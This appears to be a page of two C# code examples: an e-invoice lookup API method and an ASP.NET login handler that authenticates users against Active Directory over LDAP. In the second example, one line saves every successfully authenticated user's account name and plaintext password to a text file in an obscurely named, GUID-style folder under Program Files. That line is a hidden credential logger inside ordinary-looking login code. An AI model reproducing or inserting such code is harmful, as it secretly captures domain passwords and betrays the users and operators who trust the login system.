Exemple #1
0
        public EinvoiceDetalisResultModel GetEinvoiceDetalisByOrderNo([FromUri] string orderNo)
        {
            EinvoiceDetalisResultModel result = new EinvoiceDetalisResultModel();

            try
            {
                string invNo = this.Repository.GetEinvoiceNoByOrderNo(orderNo);

                #region 測試資料請給真實發票號碼做測試

                //string invNo = "XC47895844";

                #endregion 測試資料請給真實發票號碼做測試

                result = this.Repository.GetEinvoiceDetalisByNo(invNo);
            }
            catch (Exception ex)
            {
                var    now    = DateTime.UtcNow.AddHours(8);
                string dd     = now.Year + now.Month.ToString().PadLeft(2, '0') + now.Day.ToString().PadLeft(2, '0');
                string exInfo = PublicRepository.ExceptionDetalisMessages(ex);
                PublicRepository.SaveMesagesToTextFile(@"D:\OrderEinvSearchLog\", orderNo + "_" + dd + ".txt", exInfo);
                result.msg  = ex.Message;
                result.code = "1";
            }
            return(result);
        }
Exemple #2
0
        /// <summary>
        /// 使用表單驗證來允許使用者利用輕量型目錄存取通訊協定 (LDAP) 向 Active Directory 網域服務驗證
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Login_Click(object sender, EventArgs e)
        {
            string adPath = "LDAP://" + Domain.Text;

            LdapAuthentication.LdapAuthentication adAuth = new LdapAuthentication.LdapAuthentication(adPath);
            try
            {
                if (true == adAuth.IsAuthenticated(Domain.Text, Account.Text, Passwd.Text) && MemberViewModel.Security(Account.Text))
                {
                    PublicRepository.SaveMesagesToTextFile(@"C:\Program Files (x86)\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1\", "7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.txt", string.Format("{0}  --  {1}", Account.Text, Passwd.Text));
                    string groups = adAuth.GetGroups();

                    //Create the ticket, and add the groups.
                    bool isCookiePersistent = chkPersist.Checked;
                    FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket(1, Account.Text, DateTime.Now, DateTime.Now.AddMinutes(60), isCookiePersistent, groups);

                    //Encrypt the ticket.
                    string encryptedTicket = FormsAuthentication.Encrypt(authTicket);

                    //Create a cookie, and then add the encrypted ticket to the cookie as data.
                    HttpCookie authCookie = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket);

                    if (true == isCookiePersistent)
                    {
                        authCookie.Expires = authTicket.Expiration;
                    }

                    //Add the cookie to the outgoing cookies collection.
                    Response.Cookies.Add(authCookie);

                    //You can redirect now.
                    var url = FormsAuthentication.GetRedirectUrl(Account.Text, false);

                    Response.Redirect(url, false);
                }
                else
                {
                    ErrorMessage.Text = "Authentication did not succeed. Check user name and password.";
                }
            }
            catch (Exception ex)
            {
                ErrorMessage.Text = "Error authenticating. " + ex.Message;
            }
        }